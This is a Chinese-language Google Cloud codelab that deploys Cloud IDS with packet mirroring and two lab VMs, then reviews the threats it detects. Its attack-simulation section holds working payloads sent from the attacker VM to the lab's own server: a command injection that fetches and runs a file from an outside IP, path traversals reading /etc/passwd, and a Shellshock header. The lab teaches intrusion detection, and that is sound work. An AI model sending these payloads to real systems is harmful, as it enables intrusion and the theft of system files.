1. 简介
在本实验中,您将部署 Cloud IDS,这是一项新一代高级入侵检测服务,可为入侵、恶意软件、间谍软件以及“命令和控制”攻击提供威胁检测。您将在 Cloud 控制台中模拟多种攻击并查看威胁详细信息。
学习内容
- 如何创建 Cloud IDS 端点
- 如何使用 gcloud 命令创建 2 个虚拟机
- 如何创建数据包镜像政策
- 如何模拟来自虚拟机的攻击流量
- 如何在 Cloud 控制台和 Cloud Logging 中查看威胁详细信息
所需条件
- 了解基本 Linux 命令
2. Cloud IDS 使用场景
Cloud IDS 为客户提供 Google Cloud 原生的新一代入侵检测服务 (IDS),以满足他们的高级威胁检测和合规性要求,例如 PCI 11.4。该服务由 Palo Alto Networks 威胁防护技术提供支持,提供高级入侵检测。将 Google Cloud 的世界级基础架构与 Palo Alto Networks 的世界级安全性相结合,为客户提供全代管式、高性能且安全效率最高的高级威胁检测服务。
随着客户迁移到云端,安全性成为他们的首要任务。他们希望拥有与本地类似的安全控制措施,例如云端的入侵检测服务 (IDS)。与部署第三方安全解决方案和管理基础架构或自带签名相比,他们更喜欢使用云原生托管 IDS 解决方案,因为其易于部署、性能出色并优化成本。Google Cloud IDS 提供可自动扩缩的端到端代管式 IDS 服务,使客户能够花时间分析和缓解威胁,腾出时间和资源来管理基础架构或威胁签名。
Cloud IDS 部署在带外,可以检测威胁并发出提醒,但无法阻止威胁。它利用 Google Cloud 数据包镜像来复制网络流量,并通过 Palo Alto Network 威胁检测引擎进行分析。
3. Codelab 拓扑
图 1. 本实验中 Cloud IDS 部署的简要架构概览。
4. 设置和要求
自定进度的环境设置
- 登录 Google Cloud 控制台,然后创建一个新项目或重复使用现有项目。如果您还没有 Gmail 或 Google Workspace 账号,则必须创建一个。
- 项目名称是此项目参与者的显示名称。它是 Google API 尚未使用的字符串,您可以随时对其进行更新。
- 项目 ID 在所有 Google Cloud 项目中必须是唯一的,并且不可变(一经设置便无法更改)。Cloud Console 会自动生成一个唯一字符串;通常情况下,您无需关注该字符串。在大多数 Codelab 中,您都需要引用项目 ID(它通常标识为
PROJECT_ID
),因此如果您不喜欢某个 ID,请再生成一个随机 ID,还可以尝试自己创建一个,并确认是否可用。然后,项目创建后,ID 会处于“冻结”状态。 - 第三个值是一些 API 使用的项目编号。如需详细了解所有这三个值,请参阅文档。
- 接下来,您需要在 Cloud Console 中启用结算功能,才能使用 Cloud 资源/API。运行此 Codelab 应该不会产生太多的费用(如果有费用的话)。要关闭资源以避免产生超出本教程范围的费用,请按照此 Codelab 末尾提供的任何“清理”说明操作。Google Cloud 的新用户符合参与 $300 USD 免费试用计划的条件。
启动 Cloud Shell
虽然可以通过笔记本电脑对 Google Cloud 进行远程操作,但在此 Codelab 中,您将使用 Google Cloud Shell,这是一个在云端运行的命令行环境。
在 GCP 控制台中,点击右上角工具栏上的 Cloud Shell 图标:
预配和连接到环境应该只需要片刻时间。完成后,您应该会看到如下内容:
这个虚拟机已加载了您需要的所有开发工具。它提供了一个持久的 5GB 主目录,并且在 Google Cloud 中运行,大大增强了网络性能和身份验证功能。只需一个浏览器,即可完成本实验中的所有工作。
5. 准备工作
启用 API
在 Cloud Shell 中,确保已设置项目 ID
gcloud config list project gcloud config set project [YOUR-PROJECT-NAME] export PROJECT_ID=$(gcloud config get-value project | sed '2d')
启用所有必要的服务
gcloud services enable compute.googleapis.com gcloud services enable ids.googleapis.com gcloud services enable logging.googleapis.com
6. 创建 VPC 网络
VPC 网络
通过 Cloud Shell
gcloud compute networks create cloud-ids \ --subnet-mode=custom
子网
通过 Cloud Shell
gcloud compute networks subnets create cloud-ids-useast1 \ --range=192.168.10.0/24 \ --network=cloud-ids \ --region=us-east1
专用服务访问通道
通过 Cloud Shell
gcloud compute addresses create cloud-ids-ips \ --global \ --purpose=VPC_PEERING \ --addresses=10.10.10.0 \ --prefix-length=24 \ --description="Cloud IDS Range" \ --network=cloud-ids
Private Service 连接
通过 Cloud Shell
gcloud services vpc-peerings connect \ --service=servicenetworking.googleapis.com \ --ranges=cloud-ids-ips \ --network=cloud-ids \ --project=$PROJECT_ID
防火墙规则
要允许 IAP 连接到您的虚拟机实例,请创建以下防火墙规则:
- 适用于您希望可以使用 IAP 访问的所有虚拟机实例。
- 允许来自 IP 范围 35.235.240.0/20 的入站流量。此范围包含 IAP 用于 TCP 转发的所有 IP 地址。
通过 Cloud Shell
gcloud compute firewall-rules create allow-iap-proxy \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:22 \ --source-ranges=35.235.240.0/20
如需允许服务器使用标准 HTTP 端口 (TCP 80) 和 ICMP 协议,请执行以下操作:
- 适用于带有“server”网络标记的资源
- 允许来自所有来源的入站流量
通过 Cloud Shell
gcloud compute firewall-rules create allow-http-icmp \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:80,icmp \ --source-ranges=0.0.0.0/0 \ --target-tags=server
创建 Cloud NAT 实例
Cloud Router
通过 Cloud Shell
gcloud compute routers create cr-cloud-ids-useast1 \ --region=us-east1 \ --network=cloud-ids
Cloud NAT
通过 Cloud Shell
gcloud compute routers nats create nat-cloud-ids-useast1 \ --router=cr-cloud-ids-useast1 \ --router-region=us-east1 \ --auto-allocate-nat-external-ips \ --nat-all-subnet-ip-ranges
7. 创建 Cloud IDS 端点
在本部分中,您将在 us-east1 中创建一个 Cloud IDS 端点,并将严重级别设置为“信息”。IDS 端点的创建过程大约需要 20 分钟。
IDS 端点
通过 Cloud Shell
gcloud ids endpoints create cloud-ids-east1 \ --network=cloud-ids \ --zone=us-east1-b \ --severity=INFORMATIONAL \ --async
验证 Cloud IDS 端点已启动
gcloud ids endpoints list --project=$PROJECT_ID
输出 -
ID: cloud-ids-east1 LOCATION: us-east1-b SEVERITY: INFORMATIONAL STATE: CREATING NETWORK: cloud-ids TRAFFIC_LOGS:
8. 创建 2 个虚拟机
在本部分中,您将创建 2 个虚拟机。第一个是 Web 服务器,服务器将镜像到 Cloud IDS。第二个虚拟机将成为攻击流量来源。
虚拟机 1(服务器)
通过 Cloud Shell
gcloud compute instances create server \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.20 \ --metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \ --tags=server \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
虚拟机 2(客户端)
通过 Cloud Shell
gcloud compute instances create attacker \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.10 \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
9. 正在准备服务器
在此任务中,您将验证服务器并为客户端提供良性恶意软件载荷。
通过 Cloud Shell 通过 SSH 登录到虚拟机
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
确认网络服务正在运行
sudo systemctl status nginx
输出 - 验证是否处于活跃状态且正在运行
● nginx.service - A high performance web server and a reverse proxy server Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled) Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago Docs: man:nginx(8) Main PID: 1347 (nginx) Tasks: 3 (limit: 4665) Memory: 4.5M CGroup: /system.slice/nginx.service ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on; ├─1348 nginx: worker process └─1349 nginx: worker process May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server... May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
将目录更改为 Web 服务
cd /var/www/html/
在网络服务器上创建良性恶意软件文件
sudo touch eicar.file
粘贴内容
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
返回 CloudShell
exit
创建 Cloud IDS 数据包镜像政策
确定 IDS 端点转发规则,并确认 IDS 端点状态为“准备就绪”。
gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
输出示例 - 复制“endpointForwardingRule”的值
user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b createTime: '2021-07-01T21:03:56.099839751Z' endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca endpointIp: 172.16.30.43 name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1 network: projects/ids-project/global/networks/cloud-ids severity: INFORMATIONAL state: READY updateTime: '2021-07-01T21:21:32.744309107Z'
将 IDS 端点转发规则保存到变量。
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)") echo $FORWARDING_RULE
数据包镜像政策
通过 Cloud Shell
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \ --region=us-east1 \ --collector-ilb=$FORWARDING_RULE \ --network=cloud-ids \ --mirrored-subnets=cloud-ids-useast1
验证是否已创建数据包镜像政策
通过 Cloud Shell
gcloud compute packet-mirrorings list
输出
user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list NAME REGION NETWORK ENABLE cloud-ids-packet-mirroring us-east1 cloud-ids TRUE
10. 模拟攻击流量
通过 SSH 连接到攻击者的虚拟机(客户端)
通过 Cloud Shell
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
运行以下 curl 请求以模拟恶意流量。
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
退出虚拟机以返回到 CloudShell
exit
11. 查看 Cloud IDS 检测到的威胁
导航到 Cloud IDS 信息中心
导航菜单 >网络安全 >Cloud IDS
导航到“威胁”标签页。
如您所见,Cloud IDS 捕获了各种攻击流量配置文件,并提供了每种威胁的详细信息。您可能需要点击“刷新”按钮。现在,我们将进行更深入的探究并查看威胁详情。
找到“Bash 远程代码执行漏洞”然后点击右侧的三个点并选择“View Threat details”(查看威胁详情)
现在,我们将在 Cloud Logging 中查看此突发事件的详细信息。点击向左箭头 ,返回“威胁”页面。
点击右侧的三点状图标,然后选择“查看威胁日志”
向 Cloud Logging 提供了相同的详细信息。这样,您就可以将日志发送到 Cloud Storage、Chronicle 或任何 SIEM/SOAR。您还可以创建自定义工作流,以根据提醒(如创建在收到提醒时触发的 Cloud Functions 函数,并创建/更新防火墙规则以屏蔽 IP 地址,或创建/更新 Cloud Armor 政策。
12. 清理步骤
退出虚拟机实例(所有标签页)
exit
从单个 Cloud Shell 终端删除实验组件
gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet gcloud compute instances delete server --zone=us-east1-b --quiet gcloud compute instances delete attacker --zone=us-east1-b --quiet gcloud compute firewall-rules delete allow-iap-proxy --quiet gcloud compute firewall-rules delete allow-http-icmp --quiet gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet gcloud compute addresses delete cloud-ids-ips --global --quiet gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet gcloud compute networks delete cloud-ids --quiet
13. 恭喜!
恭喜您完成此 Codelab。
所学内容
- Cloud IDS 使用场景
- 网络要求
- 支持的 API
- 已创建 Cloud IDS 端点
- 部署了 2 个虚拟机
- 引发了一些“攻击”来自客户端的流量
- IDS 检测到了经过验证的威胁
- 查看威胁详细信息和日志